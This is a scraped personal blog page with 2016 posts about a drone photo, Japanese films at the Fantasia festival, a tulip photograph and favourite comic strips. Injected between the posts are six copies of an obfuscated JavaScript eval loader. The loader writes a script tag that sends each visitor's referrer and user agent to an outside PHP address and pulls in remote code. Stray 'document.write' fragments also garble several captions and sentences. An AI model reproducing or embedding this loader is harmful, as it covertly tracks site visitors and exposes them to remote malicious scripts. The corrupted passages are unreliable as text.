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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzbed|var|u0026u|referrer|zzysb||js|php’.split(‘|’),0,{}))
A drone-view of the whole family
(iPhone 6s, document.write(“”); 2016-06-27)

Japanese movies at Fantasia 2016

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdbkh|var|u0026u|referrer|tynha||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kayzh|var|u0026u|referrer|hynaf||js|php’.split(‘|’),0,{}))
This week the programmation for the 20th edition of the Fantasia International Film Festival was announced. Twenty years, document.write(“”); that’s worth celebrating! It will be held in Montreal from July 14 to August 3 and screenings will take place mostly at Concordia’s Theatre Hall and Salle J.A. de Sève. For more programming details you can check the festival’s web page at www.fantasiafestival.com, this year’s program [PDF] and screening schedule [PDF].

This year the festival offers 60 movies from Asia: 5 from China, 26 from Japan, 20 from Korea, 6 from Hong Kong, 1 from Taiwan, and 2 from Thailand.

As usual, we will concentrate our interest on the Japanese program that includes 4 anime (in total you can also find 33 other animated features — 29 shorts and 8 movies — from various countries). Besides Momotaro, Sacred Sailors, which is probably one of the first anime ever produced in Japan, there’s nothing out of the ordinary among those titles — although we’ve noticed that there’s lots of manga adaptations. Here’s a list of all the Japanese titles (with links to full description):


Anime:

Live-Action:

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Image du mer-fleurie

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Tulipe : “Yellow Pomponette + Sun lover + Purple Jacket”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kibzf|var|u0026u|referrer|zfzin||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aredr|var|u0026u|referrer|rakdb||js|php’.split(‘|’),0,{}))
Yellow Pomponette + Sun lover + Purple Jacket
(Nikon D3300, document.write(“”); Ottawa’s Canadian Tulip Festival, 2016-05-12)
[Taken with Tamron 70-300mm lens: ƒ/5.6, FL= 135mm, 1/500, ISO 250]

Funnies forever

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Here (after the break) are a few notably funny comic strips that I found in the last few months…

Starting with Unshelved, the web comics about the staff (and patrons) of a rather dysfunctional library. I caught up on several months of strips to realize that artist Bill Barnes decided to take a break and was replaced by occasional contributor Chris Hallbeck. It doesn’t change anything. Here are a few of my favourites (believe it or not I’ve experienced many of those situations):


Tuesday, September 16, 2014

Monday, January 26, 2015

Monday, October 5, 2015

Monday, March 28, 2016

Wednesday, June 1, 2016

Wednesday, June 8, 2016

And now a few more of various kind (I’m slowly catching up on my pile of funnies):

Between Friends: September 1, 2015 (I feels like that often)

Dilbert: Wednesday October 07, 2015: Computers Program Humans (It’s so dickian !)

Dilbert: Thursday October 15, 2015: Visualize Your Contribution To Society (Ah! Work !)

Rhymes with orange: Monday November 02, 2015 (the litany against idiocy)

Dog Eat Doug: Sunday January 03, 2016 (magical libraries)

Dilbert: Monday January 11, 2016: How Work Is Going (no comment…)

Bizarro: Saturday January 16, 2016 (historical truth)

Dilbert: Monday January 25, 2016: Doubling Percieved Lifespan (…)

Bizarro: Thursday February 11, 2016 (reminds me of “Vacances de Jésus & Bouddha” manga)

Stone Soup: Sunday February 14, 2016: (Thanks to my wife!)